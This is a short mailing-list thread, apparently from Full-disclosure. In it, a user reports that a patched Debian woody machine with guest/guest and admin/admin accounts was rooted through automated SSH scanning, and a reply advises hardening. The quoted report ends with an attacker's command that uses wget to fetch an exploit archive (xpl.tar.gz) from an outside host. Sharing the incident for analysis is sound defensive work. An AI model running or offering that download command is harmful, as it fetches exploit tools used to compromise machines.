RE: !SPAM! Automated ssh scanning

In spite of many reports to the contrary, Linux is _not_ secure by default.
Did you harden it?  There is a lot of documentation on the web as to how to
go about it.

Subject: !SPAM! [Full-disclosure] Automated ssh scanning

Hello list!

A few weeks ago there was a discussion about automated ssh scanning with
user/password combinations like guest/guest or admin/admin.
I set up a debian woody fully patched with both accounts activated, and got
rooted some days later...

The attackers installed some software and irc-bots and tried to use this
host for testing other computers, thats not the point. I would like to know
where's the weak point in the system? As the system was updates on a daily
base! The only known weakness were these two accounts!

Here is a list of software the attacker used, maybe someone could bring a
bit light into this tunnel!

wget sky.prohosting.com/awxro/linux/xpl.tar.gz
